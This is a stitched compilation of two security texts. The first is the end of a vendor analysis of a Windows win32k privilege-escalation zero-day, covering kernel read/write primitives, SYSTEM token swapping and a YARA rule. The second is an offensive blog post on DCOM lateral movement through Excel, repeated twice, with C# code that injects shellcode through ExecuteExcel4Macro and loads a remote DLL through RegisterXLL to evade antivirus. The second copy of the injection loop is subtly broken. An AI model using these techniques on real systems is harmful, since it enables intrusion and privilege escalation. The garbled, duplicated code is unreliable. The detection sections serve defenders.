The arbitrary read primitive is achieved by fake spmenu works with GetMenuBarInfo. The exploit reads a 64-bits value using tagMenuBarInfo.rcBar.left and tagMenuBarInfo.rcBar.top. This method has not been used publicly before, but is similar with the ideas in《LPE vulnerabilities exploitation on Windows 10 Anniversary Update》(ZeroNight, 2016)

The arbitrary write primitive is achieved via window 0 and window 1, work with SetWindowLongPtrA, see below.

After achieving the arbitrary read/write primitives, the exploit leaks a kernel address from the origin spmemu, then searches through it to find the EPROCESS of current process.

Finally, the exploit traversals ActiveProcessLinks to get the Token of SYSTEM EPROCESS and the Token area address of current EPROCESS, and swaps the current process Token value with SYSTEM Token.

After achieving privilege escalation, the exploit restores the modified area of window 0, window 1 and window 2 using arbitrary write primitive, such as the origin spmenu of window 1 and the flag of window 2, to ensure that it will not cause a BSOD. The entire exploit process is very stable.

0x04 Conclusion

This zero-day is a new vulnerability which caused by win32k callback, it could be used to escape the sandbox of Microsoft IE browser or Adobe Reader on the lasted Windows 10 version. The quality of this vulnerability high and the exploit is sophisticated. The use of this in-the-wild zero-day reflects the organization’s strong vulnerability reserve capability. The threat organization may have recruited members with certain strength, or buying it from vulnerability brokers.


Zero-day plays a pivotal role in cyberspace. It is usually used as a strategic reserve for threat organizations and has a special mission and strategic significance.With the iteration of software/hardware and the improvement of the defense system, the cost of mining and exploiting software/hardware zero-day is getting higher and higher.

Over the years, vendors over the world have investment a lot on detecting APT attacks. This makes the APT organization more cautious in the use of zero-day. In order to maximize its value, it will only be used for very few specific targets. A little carelessness will shorten the life cycle of a zero-day. Meanwhile, some zero-days have been lurking for a long time before being exposed, the most remarkable example is the MS17-010 used by EternalBlue,

Over the last year (2020), dozens of 0Day/1Day attacks in the wild were disclosed globally, including three attacks which tracked by DBAPPSecurity Threat Intelligence Center. Based on the data we have, we predict there will be more zero-day disclose on browser and privilege escalation in 2021.

The detection capability on zero-day is one of key aspect that requires continuous improvement in the APT confrontation process. In addition to endpoint attacks, the attacks on boundary systems, critical equipment, and centralized control systems are also worth noting. There are also several security incidents in these areas over the past years.

Being undiscovered does not mean that it does not exist, it may be more in a stealthy state. The discovery, detection and defense of advanced threats attacks require constant iteration and strengthening during the game. It’s necessary to think more about how to strengthen the defense capabilities in all points, lines and surfaces. Cyber security has a long way to go, and we need to encourage each other.

How To Defend Against Such Attacks

The DBAPPSecurity APT Attack Early Warning Platform could find known/unknown threat. The platform can monitor, capture and analyze the threats of malicious files or programs in real time, and can conduct powerful monitoring of malicious samples such as Trojan horses associated with each stage of email delivery, vulnerability exploitation, installation/implantation and C2.

At the same time, the platform conducts in-depth analysis of network traffic based on two-way traffic analysis, intelligent machine learning, efficient sandbox dynamic analysis, rich signature libraries, comprehensive detection strategies, and massive threat intelligence data. The detection capability completely covers the entire APT attack chain, effectively discovering APT attacks, unknown threats and network security incidents that users care about.

Yara Rule

rule apt_bitter_win32k_0day {
        author = "dbappsecurity_lieying_lab"
        data = "01-01-2021"

        $s1 = "NtUserConsoleControl" ascii wide
        $s2 = "NtCallbackReturn" ascii wide
        $s3 = "CreateWindowEx" ascii wide
        $s4 = "SetWindowLong" ascii wide

        $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
        $a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
        $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}

        uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*)


I Like to Move It: Windows Lateral Movement Part 2 – DCOM

Overview In part 1 of this series, we discussed lateral movement using WMI event subscriptions. During this post we will discuss another of my “go to” techniques for lateral movement, using the Distributed Component Object Model (DCOM). I won’t dwell on this too long as DCOM is covered in many other research posts, but let’s cover a brief introduction to what DCOM is and why it is interesting. COM is a component of Windows that facilitates interoperability between software, DCOM extends this across the network using remote procedure calls (RPC). Software hosting a COM server (typically within a DLL or exe) on a remote system is therefore able to expose its methods to clients using RPC. One of the benefits for leveraging DCOM for lateral movement is that the process executing on the remote host is whatever software is hosting the COM server. For example, if abusing the ShellBrowserWindow COM object, execution will occur in an existing explorer.exe process on the remote host. From an offensive perspective, this has not only the obvious benefits of helping to blend in but also due to the significant number of programs exposing methods to DCOM it can be difficult to comprehensively monitor them all for execution. Discovering DCOM Methods If we are interested in discovering applications that support DCOM, we can use the Win32_DCOMApplication WMI class to list them: Using this list, we can instantiate each AppID and list the available methods using the Get-Member cmdlet: In this example, we can see the exposed methods for the ShellBrowserWindow COM object; one of the well known methods for lateral movement is Document.Application.ShellExecute which resides within this object. Case Study with Excel When I first started this research, my original objective was to try and discover a new COM object that could be used for lateral movement over DCOM. Unfortunately, in the limited time I had my search was fairly unfruitful, so instead I’m going to document a couple of my favourite techniques for lateral movement to workstations using Excel. By creating an instance of the Excel COM class you will discover there are many methods available: Reviewing these methods, you can find at least two methods that are known to be capable of lateral movement; ExecuteExcel4Macro and RegisterXLL. Let’s walkthrough how we can develop tooling to leverage these methods for lateral movement using C#. Lateral Movement Using ExecuteExcel4Macro This technique was first documented by Stan Hegt from Outflank and allows Excel4 macros to be executed remotely. The main benefits of this method is that XLM macros are still not widely supported across anti-virus engines and the technique can be executed in a fileless manner inside the DCOM launched excel.exe process. This approach therefore allows the operator to minimise the indicators associated with the technique and reduce the likelihood of detection. Firstly, an instance of the Excel COM object needs to be instantiated to facilitate executing its methods; previously we showed how to do this in PowerShell, the equivalent C# is as follows: Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST); object excel = Activator.CreateInstance(ComType); At this point, we’re in a position to start calling the XLM code using InvokeMember to execute the instance’s ExecuteExcel4Macro method, where the following can be used to pop calc: excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "EXEC(\\"calc.exe\\")" }); In order to weaponise this technique, we ideally want it to execute in a fileless manner. As explained by Outflank, XLM code has direct access to the Win32 API so we can leverage this to execute shellcode by writing it to memory and starting a new thread: var memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"VirtualAlloc\\",\\"JJJJJ\\"," + lpAddress + "," + shellcode.Length + ",4096,64)" })); var startaddr = memaddr; foreach (var b in shellcode) { var cb = String.Format("CHAR({0})", b); var macrocode = "CALL(\\"Kernel32\\",\\"RtlMoveMemory\\",\\"JJCJ\\"," + memaddr + "," + cb + ",1)"; excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { macrocode }); memaddr++; } excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"QueueUserAPC\\",\\"JJJJ\\"," + startaddr + ", -2, 0)" }); This of course can be improved to do remote process injection or speed up execution by moving the bytes in chunks. Lateral Movement Using RegisterXLL The second of my favoured lateral movement approaches using Excel is the RegisterXLL method, first documented by Ryan Hanson. This approach is relatively straightforward and as the name implies, the RegisterXLL method allows you to execute an XLL file. This file is simply an DLL with the xlAutoOpen export. However, the beauty of this technique is twofold, the extension for the file is irrelevant and the method accepts a UNC path, meaning that it does not need to be hosted on the system you are laterally moving to. Creating tooling for this technique is a simple one, and in a few short lines we’re able to create an instance of the Excel COM object and invoke the RegisterXLL method which takes a single argument, the path to the XLL file: string XLLPath = "\\\\\\\\fileserver\\\\excel.log"; Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST); object excel = Activator.CreateInstance(ComType); excel.GetType().InvokeMember("RegisterXLL", BindingFlags.InvokeMethod, null, excel, new object[] { XLLPath }); Let’s take a look at this technique in action: Detection Detection for DCOM lateral movement techniques can be complex, however generally speaking it is possible to detect that a process has been instantiated through DCOM as it will be executed through the DCOMLaunch service or with DllHost.exe as a parent process. These can be captured using Sysmon Process Create events (ID 1) such as the following: You will also note the presence of the “/automation -Embedding” arguments used by Excel in this instance which are also a further indicator that the process has been launched through automation. Although specific to the RegisterXLL technique, it may also be worthwhile monitoring for ImageLoad events (ID 7) where the image is an XLL file: Detecting the ExecuteExcel4Macro technique is somewhat more complex as the macro code executes in-process and does not necessarily require additional image loads or similar. The Mordor dataset is now available for this courtesy of @Cyb3rWard0g: DCOM RegisterXLL DCOM ExecuteExcel4Macro Stay tuned for part 3…. This post was written by Dominic Chell.

Original text by MDSec Research


In part 1 of this series, we discussed lateral movement using WMI event subscriptions. During this post we will discuss another of my “go to” techniques for lateral movement, using the Distributed Component Object Model (DCOM). I won’t dwell on this too long as DCOM is covered in many other research posts, but let’s cover a brief introduction to what DCOM is and why it is interesting.

COM is a component of Windows that facilitates interoperability between software, DCOM extends this across the network using remote procedure calls (RPC). Software hosting a COM server (typically within a DLL or exe) on a remote system is therefore able to expose its methods to clients using RPC.

One of the benefits for leveraging DCOM for lateral movement is that the process executing on the remote host is whatever software is hosting the COM server. For example, if abusing the ShellBrowserWindow COM object, execution will occur in an existing explorer.exe process on the remote host. From an offensive perspective, this has not only the obvious benefits of helping to blend in but also due to the significant number of programs exposing methods to DCOM it can be difficult to comprehensively monitor them all for execution.

Discovering DCOM Methods

If we are interested in discovering applications that support DCOM, we can use the Win32_DCOMApplication WMI class to list them:

Using this list, we can instantiate each AppID and list the available methods using the Get-Member cmdlet:

In this example, we can see the exposed methods for the ShellBrowserWindow COM object; one of the well known methods for lateral movement is Document.Application.ShellExecute which resides within this object.

Case Study with Excel

When I first started this research, my original objective was to try and discover a new COM object that could be used for lateral movement over DCOM. Unfortunately, in the limited time I had my search was fairly unfruitful, so instead I’m going to document a couple of my favourite techniques for lateral movement to workstations using Excel.

By creating an instance of the Excel COM class you will discover there are many methods available:

Reviewing these methods, you can find at least two methods that are known to be capable of lateral movement; ExecuteExcel4Macro and RegisterXLL. Let’s walkthrough how we can develop tooling to leverage these methods for lateral movement using C#.

Lateral Movement Using ExecuteExcel4Macro

This technique was first documented by Stan Hegt from Outflank and allows Excel4 macros to be executed remotely. The main benefits of this method is that XLM macros are still not widely supported across anti-virus engines and the technique can be executed in a fileless manner inside the DCOM launched excel.exe process. This approach therefore allows the operator to minimise the indicators associated with the technique and reduce the likelihood of detection.

Firstly, an instance of the Excel COM object needs to be instantiated to facilitate executing its methods; previously we showed how to do this in PowerShell, the equivalent C# is as follows:

Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);

At this point, we’re in a position to start calling the XLM code using InvokeMember to execute the instance’s ExecuteExcel4Macro method, where the following can be used to pop calc:

excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "EXEC(\\"calc.exe\\")" });

In order to weaponise this technique, we ideally want it to execute in a fileless manner. As explained by Outflank, XLM code has direct access to the Win32 API so we can leverage this to execute shellcode by writing it to memory and starting a new thread:

var memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"VirtualAlloc\\",\\"JJJJJ\\"," + lpAddress + "," + shellcode.Length + ",4096,64)" }));
var startaddr = memaddr;

foreach (var b in shellcode) {
	var cb = String.Format("CHAR({0})", b);
	var macrocode = "CALL(\\"Kernel32\\",\\"RtlMoveMemory\\",\\"JJCJ\\"," + memaddr + "," + cb + ",1)";
	excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { macrocode });
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"QueueUserAPC\\",\\"JJJJ\\"," + startaddr + ", -2, 0)" });

This of course can be improved to do remote process injection or speed up execution by moving the bytes in chunks.

Lateral Movement Using RegisterXLL

The second of my favoured lateral movement approaches using Excel is the RegisterXLL method, first documented by Ryan Hanson. This approach is relatively straightforward and as the name implies, the RegisterXLL method allows you to execute an XLL file. This file is simply an DLL with the xlAutoOpen export. However, the beauty of this technique is twofold, the extension for the file is irrelevant and the method accepts a UNC path, meaning that it does not need to be hosted on the system you are laterally moving to.

Creating tooling for this technique is a simple one, and in a few short lines we’re able to create an instance of the Excel COM object and invoke the RegisterXLL method which takes a single argument, the path to the XLL file:

string XLLPath = "\\\\\\\\fileserver\\\\excel.log";
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("RegisterXLL", BindingFlags.InvokeMethod, null, excel, new object[] { XLLPath });

Let’s take a look at this technique in action:https://player.vimeo.com/video/459000320?dnt=1&app_id=122963


Detection for DCOM lateral movement techniques can be complex, however generally speaking it is possible to detect that a process has been instantiated through DCOM as it will be executed through the DCOMLaunch service or with DllHost.exe as a parent process. These can be captured using Sysmon Process Create events (ID 1) such as the following:

You will also note the presence of the “/automation -Embedding” arguments used by Excel in this instance which are also a further indicator that the process has been launched through automation.

Although specific to the RegisterXLL technique, it may also be worthwhile monitoring for ImageLoad events (ID 7) where the image is an XLL file:

Detecting the ExecuteExcel4Macro technique is somewhat more complex as the macro code executes in-process and does not necessarily require additional image loads or similar.

The Mordor dataset is now available for this courtesy of @Cyb3rWard0g:

Stay tuned for part 3….

This post was written by Dominic Chell.